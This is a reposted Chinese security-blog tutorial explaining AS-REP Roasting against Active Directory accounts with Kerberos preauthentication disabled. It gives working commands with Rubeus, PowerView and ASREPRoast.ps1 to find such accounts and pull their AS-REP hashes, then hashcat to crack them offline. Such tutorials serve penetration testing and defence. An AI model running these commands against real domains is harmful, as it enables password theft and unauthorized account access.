查看原文
其他

内网渗透(五) | AS-REP Roasting攻击

谢公子 安世加 2022-07-05

作者:谢公子

作者:谢公子


CSDN安全博客专家,擅长渗透测试、Web安全攻防、红蓝对抗。其自有公众号:谢公子学安全

免责声明:本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安全+的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作!


欢迎各位添加微信号:qinchang_198231  

加入安全+ 交流群 和大佬们一起交流安全技术

AS-REP Roasting攻击

AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。但是该攻击方式利用比较局限,因为其需要用户账号设置 "Do not require Kerberos preauthentication(不需要kerberos预身份验证) " 。而该属性默认是没有勾选上的。


预身份验证是Kerberos身份验证的第一步(AS_REQ & AS_REP),它的主要作用是防止密码脱机爆破。默认情况下,预身份验证是开启的,KDC会记录密码错误次数,防止在线爆破。关于 AS_REQ & AS_REP:域内认证之Kerberos协议详解。


当关闭了预身份验证后,攻击者可以使用指定用户去请求票据,此时域控不会作任何验证就将 TGT票据 和 该用户Hash加密的Session Key返回。因此,攻击者就可以对获取到的 用户Hash加密的Session Key进行离线破解,如果破解成功,就能得到该指定用户的密码明文。



AS-REP Roasting攻击条件

  • 域用户设置了 “ Do not require Kerberos preauthentication(不需要kerberos预身份验证) ”

  • 需要一台可与KDC进行通信的主机/用户



普通域用户下

方法一:使用 Rubeus.exe


1:使用rubeus.exe获得Hash

Rubeus.exe asreproast

2:使用hashcat对获得的Hash进行爆破

将hash.txt里面的除Hash字段其他的都删除,复制到hashcat目录下,并且修改为hashcat能识别的格式,在$krb5asrep后面添加$23拼接。

然后使用以下命令爆破

hashcat64.exe -m 18200 hash.txt pass.txt --force


方法二:使用powershell脚本


1:使用Empire下的powerview.ps1查找域中设置了 "不需要kerberos预身份验证" 的用户

Import-Module .\powerview.ps1 Get-DomainUser -PreauthNotRequired

2:使用ASREPRoast.ps1获取AS-REP返回的Hash

Import-Module .\ASREPRoast.ps1Get-ASREPHash -UserName hack2 -Domain xie.com | Out-File -Encoding ASCII hash.txt

3:使用hashcat对获得的Hash进行爆破

将hash.txt复制到hashcat目录下,并且修改为hashcat能识别的格式,在$krb5asrep后面添加$23拼接。然后使用以下命令爆破。

hashcat64.exe -m 18200 hash.txt pass.txt --force


非域内机器

1:对于非域内的机器,无法通过LDAP来发起用户名的查询。

2:所以要想获取 "不需要kerberos预身份验证" 的域内账号,只能通过枚举用户名的方式来获得。而AS-REP Hash方面。非域内的主机,只要能和DC通信,便可以获取到。使用Get-ASREPHash,通过指定Server的参数即可

Import-Module .\ASREPRoast.ps1Get-ASREPHash -UserName hack2 -Domain xie.com -Server 192.168.10.131 | Out-File -Encoding ASCII hash.txt

3:获取到Hash后,使用hashcat对其爆破,和上面一样,这里就不演示了。



内网渗透 | 内网穿透工具FRP的使用
内网渗透(四) | 域渗透之Kerberoast攻击_Python
内网渗透(三) | 域渗透之SPN服务主体名称
内网渗透(二) | MSF和CobaltStrike联动
内网渗透 | 域内认证之Kerberos协议详解
内网渗透(一) | 搭建域环境

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存